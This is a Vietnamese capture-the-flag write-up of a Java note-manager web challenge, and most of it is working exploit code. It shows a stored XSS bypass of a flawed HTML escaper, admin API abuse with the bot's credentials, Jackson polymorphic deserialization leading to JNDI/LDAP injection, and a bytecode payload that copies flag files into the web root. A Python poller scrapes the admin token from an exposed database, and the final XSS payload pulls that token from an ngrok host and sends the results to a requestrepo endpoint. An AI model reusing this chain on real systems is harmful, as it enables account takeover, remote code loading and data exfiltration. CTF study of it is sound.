# Manager-book ![1](https://hackmd.io/_uploads/ryROdeNf-l.png) Việc dùng innerHTML và việc thấy bot ở trong source khiến ta nghĩ ngay đến XSS -> note content được sanitize không strict dẫn đến việc bypass: ```javascript function sanitize(html) { return renderSimpleMarkdown(escapeHtml(html)); } function escapeHtml(html) { return html .replace(/&/, "&amp;") .replace(/</, "&lt;") .replace(/>/, "&gt;") .replace(/"/, "&quot;") .replace(/'/, "&apos;") } function renderSimpleMarkdown(text) { return text .replace(/^### (.*)$/gm, '<h3>$1</h3>') .replace(/`([^`]+)`/g, '<code>$1</code>') .replace(/\*([^*\n]+)\*/g, '<em>$1</em>') .replace(/\*\*([^*]+)\*\*/g, '<strong>$1</strong>') .replace(/!\[([^\]]*)\]\(([^)]+)\)/g, '<img src="$2" alt="$1" height="48" width="48">'); } ``` Việc không dùng flag `g` trong regex khiến chỉ các kí tự đặc biệt cần được escapeHTML sẽ chỉ bị detect mỗi kí tự đầu tiên. Sau đó nó được xử lý với `renderSimpleMarkdown` mục đích chính của hàm này là convert từ markdown sang HTML. Ví dụ như sau: ``` <img src=1><img src="x" onerror="alert(1)"> ``` pipe 1: khi vào escapeHtml nó chỉ thay thế các kí tự đầu -> nên output là `&lt;img src=1&gt;<img src="x" onerror="alert(1)">` pipe 2: khi vào renderSimpleMarkdown `&lt;img src=1&gt;<img src="x" onerror="alert(1)">` không match với kí tự nào cho nên là output còn nguyên vẹn. Tương tự thì có khá nhiều cách khác có thể dùng để bypass. ý tưởng: xss được nhưng HTTP only lên không thể steal cookie của admin(bot), cho nên ta sẽ dùng option `credentials: 'include'` cho phép sử dụng cred để gọi các api với role của bot luôn -> ta xác nhận được rằng tại AdminController sẽ cho phép người dùng admin sửa đổi siteConfig và ở đây với SiteConfig instance ta có thể truyền thêm giá trị của attribute `dbIntegrityHelper` trong model SiteConfig: :::spoiler SiteConfig.java ```java package com.lqc.models; import com.fasterxml.jackson.annotation.JsonTypeInfo; import com.fasterxml.jackson.annotation.JsonTypeInfo.As; import com.fasterxml.jackson.annotation.JsonTypeInfo.Id; public class SiteConfig { private int deleteAllNotesAfterMinutes = -1; private String siteTitle = "NoteManager"; private String footerDescription = "NoSpaceAvailable"; private boolean enableRegistration = true; @JsonTypeInfo( use = Id.CLASS, include = As.PROPERTY, property = "@class" ) private Object dbIntegrityHelper = null; public SiteConfig() { } public int getDeleteAllNotesAfterMinutes() { return this.deleteAllNotesAfterMinutes; } public void setDeleteAllNotesAfterMinutes(int deleteAllNotesAfterMinutes) { this.deleteAllNotesAfterMinutes = deleteAllNotesAfterMinutes; } public String getSiteTitle() { return this.siteTitle; } public void setSiteTitle(String siteTitle) { this.siteTitle = siteTitle; } public String getFooterDescription() { return this.footerDescription; } public void setFooterDescription(String footerDescription) { this.footerDescription = footerDescription; } public boolean isEnableRegistration() { return this.enableRegistration; } public void setEnableRegistration(boolean enableRegistration) { this.enableRegistration = enableRegistration; } public Object getDbIntegrityHelper() { return this.dbIntegrityHelper; } public void setDbIntegrityHelper(Object dbIntegrityHelper) { this.dbIntegrityHelper = dbIntegrityHelper; } } ``` ::: :::spoiler mã nguồn ```java int interval = newConfig.getDeleteAllNotesAfterMinutes(); if (interval >= 1) { ScheduledExecutorService scheduler = Executors.newSingleThreadScheduledExecutor(); ScheduledFuture<?> handler = scheduler.scheduleAtFixedRate(new NoteCleanupTask(context), (long)newConfig.getDeleteAllNotesAfterMinutes(), (long)newConfig.getDeleteAllNotesAfterMinutes(), TimeUnit.MINUTES); Object currentHandler = context.getAttribute("scheduler.handler"); if (currentHandler instanceof ScheduledFuture) { ((ScheduledFuture)currentHandler).cancel(true); context.setAttribute("scheduler.handler", handler); } else { context.setAttribute("scheduler.handler", handler); } } ``` ::: Nếu ta update được mà `interval` thì sẽ có threadschedule run `NoteCleanupTask` sau time interval đó: :::spoiler NoteCleanupTask.java ```java // // Source code recreated from a .class file by IntelliJ IDEA // (powered by FernFlower decompiler) // package com.lqc.jobs; import com.lqc.models.SiteConfig; import com.lqc.services.DBService; import com.lqc.utils.DatabaseTransactionHelper; import java.sql.Connection; import java.sql.PreparedStatement; import javax.servlet.ServletContext; import javax.transaction.TransactionManager; public class NoteCleanupTask implements Runnable { private final ServletContext ctx; public NoteCleanupTask(ServletContext ctx) { this.ctx = ctx; } public void run() { try { Object config = this.ctx.getAttribute("siteConfig"); if (!(config instanceof SiteConfig)) { return; } if (((SiteConfig)config).getDeleteAllNotesAfterMinutes() <= 0) { return; } System.out.println("Starting cleanup task..."); TransactionManager tm = DatabaseTransactionHelper.resolveTransactionManager(this.ctx); if (tm != null) { tm.begin(); } try { Connection conn = DBService.getConnection(); Throwable var23 = null; try { PreparedStatement ps = conn.prepareStatement("DELETE FROM notes"); ps.executeUpdate(); if (tm != null) { tm.commit(); } System.out.println("Notes cleanup task completed."); } catch (Throwable var17) { var23 = var17; throw var17; } finally { if (conn != null) { if (var23 != null) { try { conn.close(); } catch (Throwable var16) { var23.addSuppressed(var16); } } else { conn.close(); } } } } catch (Exception var19) { Exception e = var19; if (tm != null) { try { tm.rollback(); } catch (Exception var15) { Exception e1 = var15; e1.printStackTrace(); } } e.printStackTrace(); } } catch (Exception var20) { Exception e = var20; e.printStackTrace(); } } } ``` ::: Method run này sẽ được gọi với schedule kia -> dòng `TransactionManager tm = DatabaseTransactionHelper.resolveTransactionManager(this.ctx);` được gọi: :::spoiler DatabaseTransactionHelper.class ```java // // Source code recreated from a .class file by IntelliJ IDEA // (powered by FernFlower decompiler) // package com.lqc.utils; import com.lqc.models.SiteConfig; import javax.servlet.ServletContext; import javax.transaction.TransactionManager; import net.sf.ehcache.transaction.manager.TransactionManagerLookup; public class DatabaseTransactionHelper { public DatabaseTransactionHelper() { } public static TransactionManager resolveTransactionManager(ServletContext ctx) { Object config = ctx.getAttribute("siteConfig"); if (!(config instanceof SiteConfig)) { return null; } else { Object helper = ((SiteConfig)config).getDbIntegrityHelper(); if (helper == null) { return null; } else { try { TransactionManagerLookup tml = (TransactionManagerLookup)helper; return tml.getTransactionManager(); } catch (Exception var4) { return null; } } } } } ``` ::: ở đây ta đã thấy để `getTransactionManager` thì helper sẽ phải implement TransactionManagerLookup để cast không bị lỗi ![image](https://hackmd.io/_uploads/B10tKmNfbe.png) ở đây có 2 class và ta sẽ chọn: `DefaultTransactionManagerLookup`: :::spoiler DefaultTransactionManagerLookup.java ```java // // Source code recreated from a .class file by IntelliJ IDEA // (powered by FernFlower decompiler) // package net.sf.ehcache.transaction.manager; import java.util.ArrayList; import java.util.HashSet; import java.util.Iterator; import java.util.List; import java.util.Properties; import java.util.Set; import java.util.concurrent.locks.Lock; import java.util.concurrent.locks.ReentrantLock; import javax.transaction.TransactionManager; import net.sf.ehcache.CacheException; import net.sf.ehcache.transaction.manager.selector.AtomikosSelector; import net.sf.ehcache.transaction.manager.selector.BitronixSelector; import net.sf.ehcache.transaction.manager.selector.GenericJndiSelector; import net.sf.ehcache.transaction.manager.selector.GlassfishSelector; import net.sf.ehcache.transaction.manager.selector.JndiSelector; import net.sf.ehcache.transaction.manager.selector.NullSelector; import net.sf.ehcache.transaction.manager.selector.Selector; import net.sf.ehcache.transaction.manager.selector.WeblogicSelector; import net.sf.ehcache.transaction.xa.EhcacheXAResource; import org.slf4j.Logger; import org.slf4j.LoggerFactory; public class DefaultTransactionManagerLookup implements TransactionManagerLookup { private static final Logger LOG = LoggerFactory.getLogger(DefaultTransactionManagerLookup.class.getName()); private final Lock lock = new ReentrantLock(); private final List<EhcacheXAResource> uninitializedEhcacheXAResources = new ArrayList(); private volatile boolean initialized = false; private volatile Selector selector; private final JndiSelector defaultJndiSelector = new GenericJndiSelector(); private final Selector[] transactionManagerSelectors; public DefaultTransactionManagerLookup() { this.transactionManagerSelectors = new Selector[]{this.defaultJndiSelector, new GlassfishSelector(), new WeblogicSelector(), new BitronixSelector(), new AtomikosSelector()}; } public void init() { if (!this.initialized) { this.lock.lock(); try { Iterator<EhcacheXAResource> iterator = this.uninitializedEhcacheXAResources.iterator(); while(iterator.hasNext()) { if (this.getTransactionManager() == null) { throw new CacheException("No Transaction Manager could be located, cannot initialize DefaultTransactionManagerLookup. Caches which registered an XAResource: " + this.getUninitializedXAResourceCacheNames()); } EhcacheXAResource resource = (EhcacheXAResource)iterator.next(); this.selector.registerResource(resource, true); iterator.remove(); } } finally { this.lock.unlock(); } this.initialized = true; } } private Set<String> getUninitializedXAResourceCacheNames() { Set<String> names = new HashSet(); Iterator i$ = this.uninitializedEhcacheXAResources.iterator(); while(i$.hasNext()) { EhcacheXAResource xar = (EhcacheXAResource)i$.next(); names.add(xar.getCacheName()); } return names; } public TransactionManager getTransactionManager() { if (this.selector == null) { this.lock.lock(); try { if (this.selector == null) { this.lookupTransactionManager(); } } finally { this.lock.unlock(); } } return this.selector.getTransactionManager(); } private void lookupTransactionManager() { Selector[] arr$ = this.transactionManagerSelectors; int len$ = arr$.length; for(int i$ = 0; i$ < len$; ++i$) { Selector s = arr$[i$]; TransactionManager transactionManager = s.getTransactionManager(); if (transactionManager != null) { this.selector = s; LOG.debug("Found TransactionManager for {}", s.getVendor()); return; } } this.selector = new NullSelector(); LOG.debug("Found no TransactionManager"); } public void register(EhcacheXAResource resource, boolean forRecovery) { if (this.initialized) { this.selector.registerResource(resource, forRecovery); } else { this.lock.lock(); try { this.uninitializedEhcacheXAResources.add(resource); } finally { this.lock.unlock(); } } } public void unregister(EhcacheXAResource resource, boolean forRecovery) { if (this.initialized) { this.selector.unregisterResource(resource, forRecovery); } else { this.lock.lock(); try { Iterator<EhcacheXAResource> iterator = this.uninitializedEhcacheXAResources.iterator(); while(iterator.hasNext()) { EhcacheXAResource uninitializedEhcacheXAResource = (EhcacheXAResource)iterator.next(); if (uninitializedEhcacheXAResource == resource) { iterator.remove(); break; } } } finally { this.lock.unlock(); } } } public void setProperties(Properties properties) { if (properties != null) { String jndiName = properties.getProperty("jndiName"); if (jndiName != null) { this.defaultJndiSelector.setJndiName(jndiName); } } } } ``` ::: Method này được gọi: ```java public TransactionManager getTransactionManager() { if (this.selector == null) { this.lock.lock(); try { if (this.selector == null) { this.lookupTransactionManager(); } } finally { this.lock.unlock(); } } return this.selector.getTransactionManager(); } ``` Nó gọi: ```java public TransactionManager getTransactionManager() { if (this.transactionManager == null) { this.transactionManager = this.doLookup(); } return this.transactionManager; } ``` Và mình có thể tùy ý truyền các thuộc tính của class đó cho nên là `transactionManager==null` -> `this.doLookup()` được gọi: ![image](https://hackmd.io/_uploads/Hy9bhm4Mbx.png) :::spoiler JndiSelector.class ```java protected TransactionManager doLookup() { InitialContext initialContext; try { initialContext = new InitialContext(); } catch (NamingException var14) { NamingException ne = var14; LOG.debug("cannot create initial context", ne); return null; } TransactionManager var3; try { try { Object jndiObject = initialContext.lookup(this.getJndiName()); if (jndiObject instanceof TransactionManager) { var3 = (TransactionManager)jndiObject; return var3; } } catch (NamingException var15) { LOG.debug("Couldn't locate TransactionManager for {} under {}", this.getVendor(), this.getJndiName()); } var3 = null; } finally { try { initialContext.close(); } catch (NamingException var13) { NamingException ne = var13; LOG.warn("error closing initial context", ne); } } return var3; } public String getJndiName() { return this.jndiName; } ``` ::: ở đây quay lại với bài toán jndi: `Object jndiObject = initialContext.lookup(this.getJndiName());`; giá trị `jndiName` ta hoàn toàn có thể control và máy chủ có mạng. Tuy nhiên 1 vấn đề thêm đó là: ```java // // Source code recreated from a .class file by IntelliJ IDEA // (powered by FernFlower decompiler) // package com.lqc.security; import java.security.Permission; public class NoteSecurityManager extends SecurityManager { public NoteSecurityManager() { } public void checkExec(String cmd) { throw new SecurityException("You executed: " + cmd + ", nice try bro:)"); } public void checkPackageAccess(String pkg) { if (pkg.contains("sun.misc.")) { throw new SecurityException("Private package: " + pkg); } else { super.checkPackageAccess(pkg); } } public void checkPermission(Permission perm) { } public void checkPermission(Permission perm, Object context) { } } ``` Nó sẽ ngăn cản việc run các cmd và access vào package `pkg.contains("sun.misc.")` -> vì vậy để bypass nó thì ta chỉ cần không run cmd là được -> do đó ta sẽ dùng đọc file /flag-* và ghi ra web root của tomcat. Ta chỉ cần đổi 1 chút của tool JNDI-Injection-Exploit là được -> sau đó build lại với maven: :::spoiler Transformers ```java package util; import java.io.InputStream; import org.objectweb.asm.*; /** * @Classname Transformers * @Description Insert command to the template classfile * @Author Welkin */ public class Transformers { public static byte[] insertCommand(InputStream inputStream, String command) throws Exception { ClassReader cr = new ClassReader(inputStream); ClassWriter cw = new ClassWriter(ClassWriter.COMPUTE_FRAMES); ClassVisitor cv = new TransformClass(cw, command); cr.accept(cv, 2); return cw.toByteArray(); } static class TransformClass extends ClassVisitor { String command; TransformClass(ClassVisitor classVisitor, String command) { super(Opcodes.ASM7, classVisitor); this.command = command; } @Override public MethodVisitor visitMethod( final int access, final String name, final String descriptor, final String signature, final String[] exceptions) { MethodVisitor mv = cv.visitMethod(access, name, descriptor, signature, exceptions); if (name.equals("<clinit>")) { return new TransformMethod(mv, command); } else { return mv; } } } static class TransformMethod extends MethodVisitor { String command; TransformMethod(MethodVisitor methodVisitor, String command) { super(Opcodes.ASM7, methodVisitor); this.command = command; } @Override public void visitCode() { super.visitCode(); Label label0 = new Label(); Label label1 = new Label(); Label label2 = new Label(); mv.visitTryCatchBlock(label0, label1, label2, "java/lang/Exception"); mv.visitLabel(label0); // String searchDir = command; (e.g., "/") mv.visitLdcInsn(command); mv.visitVarInsn(Opcodes.ASTORE, 0); // DirectoryStream<Path> stream = Files.newDirectoryStream(Paths.get(searchDir), "flag-*"); mv.visitVarInsn(Opcodes.ALOAD, 0); mv.visitInsn(Opcodes.ICONST_0); mv.visitTypeInsn(Opcodes.ANEWARRAY, "java/lang/String"); mv.visitMethodInsn(Opcodes.INVOKESTATIC, "java/nio/file/Paths", "get", "(Ljava/lang/String;[Ljava/lang/String;)Ljava/nio/file/Path;", false); mv.visitLdcInsn("flag-*"); mv.visitMethodInsn(Opcodes.INVOKESTATIC, "java/nio/file/Files", "newDirectoryStream", "(Ljava/nio/file/Path;Ljava/lang/String;)Ljava/nio/file/DirectoryStream;", false); mv.visitVarInsn(Opcodes.ASTORE, 1); // stream // Iterator<Path> iterator = stream.iterator(); mv.visitVarInsn(Opcodes.ALOAD, 1); mv.visitMethodInsn(Opcodes.INVOKEINTERFACE, "java/nio/file/DirectoryStream", "iterator", "()Ljava/util/Iterator;", true); mv.visitVarInsn(Opcodes.ASTORE, 2); // iterator // while (iterator.hasNext()) Label loopStart = new Label(); Label loopEnd = new Label(); mv.visitLabel(loopStart); mv.visitVarInsn(Opcodes.ALOAD, 2); mv.visitMethodInsn(Opcodes.INVOKEINTERFACE, "java/util/Iterator", "hasNext", "()Z", true); mv.visitJumpInsn(Opcodes.IFEQ, loopEnd); // Path filePath = iterator.next(); mv.visitVarInsn(Opcodes.ALOAD, 2); mv.visitMethodInsn(Opcodes.INVOKEINTERFACE, "java/util/Iterator", "next", "()Ljava/lang/Object;", true); mv.visitTypeInsn(Opcodes.CHECKCAST, "java/nio/file/Path"); mv.visitVarInsn(Opcodes.ASTORE, 3); // filePath // byte[] fileBytes = Files.readAllBytes(filePath); mv.visitVarInsn(Opcodes.ALOAD, 3); mv.visitMethodInsn(Opcodes.INVOKESTATIC, "java/nio/file/Files", "readAllBytes", "(Ljava/nio/file/Path;)[B", false); mv.visitVarInsn(Opcodes.ASTORE, 4); // fileBytes // Path outPath = Paths.get("/usr/local/tomcat/webapps/ROOT/l3mnt2010.txt"); mv.visitLdcInsn("/usr/local/tomcat/webapps/ROOT/l3mnt2010.txt"); mv.visitInsn(Opcodes.ICONST_0); mv.visitTypeInsn(Opcodes.ANEWARRAY, "java/lang/String"); mv.visitMethodInsn(Opcodes.INVOKESTATIC, "java/nio/file/Paths", "get", "(Ljava/lang/String;[Ljava/lang/String;)Ljava/nio/file/Path;", false); mv.visitVarInsn(Opcodes.ASTORE, 5); // outPath // Files.write(outPath, fileBytes); mv.visitVarInsn(Opcodes.ALOAD, 5); // outPath mv.visitVarInsn(Opcodes.ALOAD, 4); // fileBytes mv.visitInsn(Opcodes.ICONST_0); mv.visitTypeInsn(Opcodes.ANEWARRAY, "java/nio/file/OpenOption"); mv.visitMethodInsn(Opcodes.INVOKESTATIC, "java/nio/file/Files", "write", "(Ljava/nio/file/Path;[B[Ljava/nio/file/OpenOption;)Ljava/nio/file/Path;", false); mv.visitInsn(Opcodes.POP); // Break after first file (only process one file) mv.visitJumpInsn(Opcodes.GOTO, loopEnd); mv.visitLabel(loopEnd); // stream.close(); mv.visitVarInsn(Opcodes.ALOAD, 1); mv.visitMethodInsn(Opcodes.INVOKEINTERFACE, "java/nio/file/DirectoryStream", "close", "()V", true); mv.visitLabel(label1); Label label3 = new Label(); mv.visitJumpInsn(Opcodes.GOTO, label3); // } catch (Exception e) { e.printStackTrace(); } mv.visitLabel(label2); mv.visitVarInsn(Opcodes.ASTORE, 0); mv.visitVarInsn(Opcodes.ALOAD, 0); mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/Exception", "printStackTrace", "()V", false); mv.visitLabel(label3); } } } ``` ::: Sau đó run jndi: `java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "/" -A "IP-VPS"` Lúc này việc khó nhằn nhất có vẻ đã xong -> tiếp theo là làm sao để lấy được `secretAccessToken` khi cho dù có lên được admin thì vẫn không thể đọc nó: ![image](https://hackmd.io/_uploads/BJ---VVGZg.png) Lược lại 1 vòng nữa code - và xem trong docker container, này có vẻ là do author muốn đánh lừa 1 chút: ![image](https://hackmd.io/_uploads/BJxY-44MWg.png) Và `ConfigLoaderListener` đã move nó vào web-root khi init: :::spoiler ConfigLoaderListener ```java // // Source code recreated from a .class file by IntelliJ IDEA // (powered by FernFlower decompiler) // package com.lqc.listeners; import com.lqc.models.SiteConfig; import com.lqc.security.NoteSecurityManager; import java.io.IOException; import java.nio.file.Files; import java.nio.file.LinkOption; import java.nio.file.Path; import java.nio.file.Paths; import java.nio.file.StandardCopyOption; import javax.servlet.ServletContext; import javax.servlet.ServletContextEvent; import javax.servlet.ServletContextListener; import javax.servlet.annotation.WebListener; @WebListener public class ConfigLoaderListener implements ServletContextListener { public ConfigLoaderListener() { } public void contextInitialized(ServletContextEvent sce) { ServletContext context = sce.getServletContext(); SiteConfig siteConfig = new SiteConfig(); context.setAttribute("siteConfig", siteConfig); Path filePath = Paths.get("/usr/local/tomcat/webapps/ROOT/sqlite/authentication.db"); Path parent = filePath.getParent(); if (Files.notExists(parent, new LinkOption[0])) { try { Files.createDirectories(parent); } catch (IOException var9) { IOException e = var9; throw new RuntimeException(e); } } if (Files.notExists(filePath, new LinkOption[0])) { Path source = Paths.get("/tmp/authentication.db"); try { Files.move(source, filePath, StandardCopyOption.REPLACE_EXISTING); Files.deleteIfExists(source); } catch (IOException var8) { IOException e = var8; throw new RuntimeException(e); } } System.setSecurityManager(new NoteSecurityManager()); } public void contextDestroyed(ServletContextEvent sce) { } } ``` ::: Và sqlite cũng connect file .db ở trong path này: :::spoiler DBService ```java // // Source code recreated from a .class file by IntelliJ IDEA // (powered by FernFlower decompiler) // package com.lqc.services; import java.sql.Connection; import java.sql.DriverManager; import java.sql.SQLException; public class DBService { public DBService() { } public static Connection getConnection() throws SQLException { String url = "jdbc:sqlite:/usr/local/tomcat/webapps/ROOT/sqlite/authentication.db"; try { Class.forName("org.sqlite.JDBC"); } catch (Exception var2) { Exception e = var2; e.printStackTrace(); return null; } return DriverManager.getConnection(url); } } ``` ::: Ok vậy giờ đã có thể gọi được config của admin -> tự nhiên lại sinh ra 1 vấn đề nữa ``(¯\_(ツ)_/¯)`` đó là mỗi lần bot(admin) login lại `username:admin` thì token lại generate tiếp một value khác và lưu vào db, stuck tầm 3 4ph thì mình nghĩ ra một idea như sau: Bây giờ mình sẽ host 1 python server sẽ trả về `secretAccessToken` gần như là realtime sau đó grep regex `admin([a-fA-F0-9]{64})([a-fA-F0-9]{64})` vì khi run os strings sẽ luôn nhận được chuỗi này: (mình nghĩ là do khi get file này qua http nó bị lỗi file format cho nên dùng sqliter select không được - hoặc do vấn đề kỹ năng:v) ```python import requests import time import os import re from flask import Flask, Response import threading DB_URL = "http://challenge.cnsc.com.vn:31528/sqlite/authentication.db" DB_FILE = "authentication.db" CHECK_INTERVAL = 0.1 OLD_TOKEN = "0d0dce66f6e14f8404cf415b186eddce2fbbac5ce205c30913ac6c660f050ff2".lower() latest_token = None def fetch_db(): r = requests.get(DB_URL, timeout=10) with open(DB_FILE, "wb") as f: f.write(r.content) def extract_token_by_strings(db_path): with os.popen(f"strings {db_path}") as f: lines = f.readlines() for idx, line in enumerate(lines): line = line.strip() m = re.search(r'admin([a-fA-F0-9]{64})([a-fA-F0-9]{64})', line) if m: return m.group(2) if 'admin' in line: if idx + 1 < len(lines): nxt = lines[idx+1].strip() m2 = re.match(r'^[a-fA-F0-9]{64}$', nxt) if m2: return nxt return None def poll_token(): global latest_token while True: try: fetch_db() token = extract_token_by_strings(DB_FILE) if token and token.lower() != OLD_TOKEN: if not latest_token or token.lower() != latest_token.lower(): print(token) latest_token = token with open("new_token.txt", "w") as fout: fout.write(token) except Exception: pass time.sleep(CHECK_INTERVAL) app = Flask(__name__) @app.route("/") def index(): resp = Response(latest_token if latest_token else "No token found yet.", mimetype="text/plain") resp.headers["Access-Control-Allow-Origin"] = "*" return resp if __name__ == "__main__": threading.Thread(target=poll_token, daemon=True).start() app.run(host="0.0.0.0", port=8000) ``` Cuối cùng giờ sẽ tạo xss sau đó fetch token mới nhất rồi gọi ldap trigger -> cuối cùng gửi cho bot(admin) ```javascript <img src=1><img src="x" onerror="(function loopFetchToken() { fetch('http://0.tcp.ap.ngrok.io:12071/') .then(r => r.text()) .then(token => { token = token.trim(); if(token && token.indexOf('No token') !== 0) { fetch('/api/admin/config', { method: 'POST', credentials: 'include', body: JSON.stringify({ settings: { footerDescription: 'aaaaaaaaaa', siteTitle: 'aaaaaaaaaaaa', deleteAllNotesAfterMinutes: 1, enableRegistration: true, dbIntegrityHelper: { '@class': 'net.sf.ehcache.transaction.manager.DefaultTransactionManagerLookup', properties: { jndiName: 'ldap://flag/3g4vrm' } } }, secretAccessToken: token }) }) .then(response => response.json()) .then(data => { fetch('https://c8m5zixc.requestrepo.com/leak', { method: 'POST', body: JSON.stringify(data) }); }); } setTimeout(loopFetchToken, 100); }); })()"> ``` ![image](https://hackmd.io/_uploads/H1jF6SXG-e.png) flag: `W1{SaNDwlCH_aS_@_DeSSErT^^PL3aS3_dm-@No5P@ceav@1lABle_on_discord_and_show_your_solution0}`